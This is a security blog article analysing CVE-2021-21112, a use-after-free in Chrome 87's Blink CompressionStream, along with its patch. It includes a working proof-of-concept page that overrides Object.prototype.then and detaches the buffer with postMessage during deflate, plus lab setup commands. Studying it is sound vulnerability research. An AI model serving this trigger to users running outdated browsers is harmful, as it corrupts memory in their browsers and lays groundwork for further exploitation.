Liquid Chrome. ‘Use After Free’ bug in the Blink engine

Date: 19/02/2025

In January 2021, Google released a new version of its Chrome browser. In total, 16 vulnerabilities have been fixed in it. Using one of them as an example, let’s find out how such bugs occur and examine their exploitation techniques enabling hackers to attack computers with outdated Chrome versions.

This article discusses Chrome version 87.0.4280.141 and its vulnerability no. CVE-2021-21112. The problem pertains to the compression stream component in the Blink browser engine and involves the Use After Free (UAF) memory corruption bug. In November 2020, researcher YoungJoo Lee (@ashuu_lee) from RaonWhiteHat has reported it on bugs.chromium.org, report no. 1151298.

Blink is the browser engine that powers Chrome. Compression streams are just web streams that are transmitted with compression to simplify lives of web developers. To avoid the need to ship zlib dependencies, the creators of Chrome decided to integrate the gzip and deflate compression formats into the Blink engine.

Basically, this is a handy wrapper that transforms a stream using the default data transformation algorithm (either gzip or deflate). A transform stream is an object containing two streams: a readable one and writable one. The transformer is located between them and applies the selected algorithm to data passing between these streams.

In this article I refer to older versions of the stream specification and source code. As you understand, the source code, as well as specification, have changed since then.

Test system

To recreate the vulnerability under investigation, you’ll need a test system consisting of a virtual machine and a vulnerable Chrome version. A ready-made virtual machine can be downloaded from the osboxes.org website that provides VM images for both VirtualBox and VMware.

I will use the Xubuntu 20 image for VirtualBox. You can choose any other distribution if you want. Start the VM and update:

sudo apt update && sudo apt upgrade -y

Next, you need a vulnerable browser version.

A vulnerable version of Chrome compiled with ASan (AddressSanitizer) can be downloaded from googleapis.com. The vulnerability report indicates the name of the required build, namely asan-linux-release-812852. Unpack the archive:

unzip asan-linux-release-812852.zip

A ready-made build will save your time and effort: building a browser manually takes time, especially on a slower PC.

AddressSanitizer is a memory error detector. It consists of a compiler instrumentation module and a run-time library. More information about it is available on the Clang website.

Now you have a VM and the required Chrome build. In addition, you’ll need Python 3 and LLVM. The ASan sanitizer log is usually unreadable since it contains only addresses and offsets. The llvm-symbolizer utility installed with LLVM will help you to decipher it. The tool reads addresses and offsets recorded in the log and translates them into respective locations in the source code. The ASan log looks much clearer.

Python, in turn, will help you to prepare data for compression.

Now everything is ready, and you can begin!

Theory

Prior to examining the vulnerability, you need to get some basic understanding of the subject.

The background is as follows. At the end of 2019, the Chromium development team implemented a new JavaScript API called Compression Streams. Implementation details are provided in the report.

This API is based on the stream specification of January 30, 2020. More information about its concept is available in the DecompressionStream Design Doc; for additional explanations, check GitHub.

I purposively refer to older versions since they were plagued by the UAF vulnerability. Since then, the stream specification and implementation in Chromium have changed.

Now let’s find out what are transform streams, compression streams, promise objects, and the postMessage method.

Compression streams

Compression streams are based on the web stream concept and implementation. The difference is that compression streams can compress and decompress data using the gzip and deflate algorithms widely used in web technologies. Compression streams comply with the transform stream specification.

The algorithm scheme is shown below.

In blunt terms, if the data stream hasn’t finished yet (i.e. a chunk has been read), then the Transform method is called, which, in turn, calls a compression or decompression method (in this particular case, Inflate). The method processes data in a loop. Then the data are added to the stream queue. For this purpose, the Enqueue method is called.

In other words, data chunks are processed and enqueued.

Promise

JavaScript is often defined as a prototypal inheritance language. Each object has a prototype object: a template of methods and properties. All objects have a common prototype (Object.prototype) and their own prototypes.

Therefore, if you change some properties or methods in the prototype, properties or methods of new objects will change accordingly.

Your next points of interest are asynchronous programming and so-called ‘promises’. In the past, JavaScript used to run synchronously, but this prevented web pages from loading quickly and running smoothly. Asynchronous programming makes it possible to circumvent this problem. When an app is waiting for some operation (e.g. loading data over the network, reading from disk, etc.), its main thread isn’t blocked, and the app doesn’t ‘freeze’.

Initially, the developers have introduced to JavaScript asynchronous callbacks (function calls upon completion of an operation). Later, they invented a new way to write asynchronous code: ‘promises’. A promise is an object that represents an asynchronous operation that either succeeds or fails (see the picture below).

Source: javascript.ru
Source: javascript.ru

A promise represents an intermediate state: “I promise to return to you with the result as soon as possible.”

A promise object includes a method called then. It takes two parameters: a function to be called in case of resolution (resolve) and a function to be called in case of rejection (reject). Depending on the outcome, the respective function will be called.

A distinctive feature of JavaScript is that everything in this language is an object. In fact, any method or function is also an object. And access to it involves a call to the get and set objects of the object’s prototype. Isn’t this elegant?

A distinctive feature of a promise object is as follows: when it’s resolved, you have to call then. And access to this method (get) can be substituted with custom code by changing a prototype common to all objects:

Object.defineProperty(Object.prototype, "then", {
get() {
console.log("then getter executed");
}
});

postMessage

According to MDN Web Docs, this method enables data exchange between Window objects (e.g. between a page and a frame). Its data transfer mechanism is of special interest.

postMessage(message, targetOrigin, transfer);

After the function call, ownership of transfer is passed to the recipient and ceases at the sending side.

In short, the essence of the vulnerability is that large data arrays are processed in a loop, and when processed chunks are added to the queue, custom JS code can be called. This happens because the promise object has a permission to read from the stream. Using postMessage, user-defined code can release data processed in a loop at that time.

For more details, see the specification. Time to move on to practice.

PoC implementation

The first step is to install LLVM since it comes with a symbolizer. Without it, the call stack would be unreadable: neither method names nor file names…

Unpack the downloaded build on your VM and run it. Make sure that the version matches the screenshot below.

Next, create the file randomfile.py and run it:

python3 randomfile.py

This operation creates data to be read by the compression stream (deflate).

with open('/dev/urandom', 'rb') as f:
random = f.read(0x40000)
with open('./random', 'wb') as f:
f.write(random)

Then create a file called poc.html and write the following data to it:

<html>
<title>Secware.ru</title>
<script>
let ab;
async function main() {
await fetch("random").then(x => x.body.getReader().read().then(y => ab = y.value.buffer));
Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
} catch (e) {
console.log("free");
}
}
});
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();
}
main();
</script>
<body>
<h2>Welcome to Secware pwn page!</h2>
</body>
</html>

Now you have to open a new terminal and start a web server from the folder containing the files poc.html and random.

python3 -m http.server

Prior to running Chromium, configure the ASan options.

export ASAN_OPTIONS=symbolize=1

Finally, start the vulnerable build and pass the URL address of your poc.html file to it. Concurrently, set flags to run it without sandbox and with disabled GPU:

asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://127.0.0.1:8000/poc.html

The browser tab should show an error message.

In the console, you can see the ASan log.

The screenshot below shows the call stack up to the Transform method (source: Chromium source code website). Important: it’s shown in the main branch (at the time of writing, it was 2ff0ac6) since references in old commits don’t work, and it’s difficult to find the call graph for the required methods.

Schematically, the call graph looks as follows.

The Transform method calls Deflate (in case of compression) where the Use After Free bug occurs on string 117 of the deflate_transformer.cc file. In fact, access to the freed array occurs in the zlib code, but this is beyond the scope of this article.

Use After Free (the loop is shown in the red frame). Data inside the stream have already been released
Use After Free (the loop is shown in the red frame). Data inside the stream have already been released

It can also be seen from the log that memory is freed from the postMessage method.

PoC analysis

Let’s examine the code that triggers this vulnerability. First, the fetch function is called and your newly-created random file is loaded. The data buffer is assigned to the ab variable.

await fetch("random").then(x => x.body.getReader().read().then(y=>ab=y.value.buffer));

Next, the then property accessor is overridden. The code that frees memory by calling postMessage is located there. The ab array will be freed (the transfer parameter).

Object.defineProperty(Object.prototype, "then", {
get() {
var ab2 = new ArrayBuffer(0);
try {
postMessage("", "Secware", [ab]);
} catch (e) {
console.log("free");
}
}
});

The rest of the code creates a compression thread; data from your random file are passed to it; and read_request is created using the reader.

javascript
var input = new Uint8Array(ab);
console.log(ab.length);
const cs = new CompressionStream('deflate');
const writer = cs.writable.getWriter();
writer.write(input);
writer.close();
const output = [];
const reader = cs.readable.getReader();
console.log(reader);
var { value, done } = await reader.read();

This read_request triggers memory release. How it works? In short, when the transform stream enqueue controller is called, custom code is called as a result of this. This is exactly the code that activates postMessage and frees the ab array.

A simplified scheme looks as follows.

Source code analysis

The chain of calls from Deflate to the user JS code is schematically shown in the diagram below.

Now that you understand the overall picture, let’s go through the source code. The Deflate compression method works as follows. In a do-while loop, data are read, compressed (deflate), and then added to the stream queue (controller->enqueue()).

The cpp controller->enqueue() function takes you to the cpp TransformStreamDefaultController::Enqueue method. For the sake of brevity, I omit a couple of intermediaries between them.

At this point, a method of the same name is called, but from the readable stream controller class (ReadableStreamDefaultController).

This is where a check for the presence of read requests is performed. As you remember, one such request has been made using the following code:

javascript var { value, done } = await reader.read();

And since it exists, the cpp ReadableStream::FulFillReadRequest method ` is called.

That method, in turn, calls Resolve for the promise (i.e. a read request).

According to the ECMAScript specification, the promise resolution must visit the then method. And since you’ve changed the then getter using Object.prototype, when then is accessed, your custom code will be called. It will free the array that is currently processed in the Deflate method loop.

In other words, the code will try to access the freed memory.

Use After Free (the loop is shown in the red frame). Data inside the stream have already been released
Use After Free (the loop is shown in the red frame). Data inside the stream have already been released

This is how the vulnerability works. Its exploitation is a massive separate topic that is beyond the scope of this article.

Patch

Let’s see how Chromium developers have fixed the above-discussed vulnerability. The patch description states as follows:

Correctly handle detach during (de)compression

Sometimes CompressionStream and DecompressionStream enqueue multiple output chunks for a single input chunk. When this happens, JavaScript code can detach the input ArrayBuffer while the stream is processing it. This will cause an error when zlib tries to read the buffer again afterwards. To prevent this, buffer output chunks until the entire input chunk has been processed, and then enqueue them all at once.

In essence, the temporary buffers array is now used for compression and decompression.

Only then the data are added to the stream queue by calling enqueue that, in turn, can call custom JS code.

Therefore, it’s no longer possible to call custom code when the compression/decompression loop is running. The enqueue method will be called afterwards. The same will happen with the attacker’s code, but the data have already been processed, and there will be no access to the freed memory.

Conclusions

Apparently, this vulnerability was inspired by earlier similar bugs. Reports submitted by Sergei Glazunov (no. 2001 of January 27, 2020 and no. 2005 of January 30, 2020) pertained to the same component. The vulnerabilities were triggered using a similar method and originated from a promise resolution. In the current version of the Chromium stream and code specification, this is not possible.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>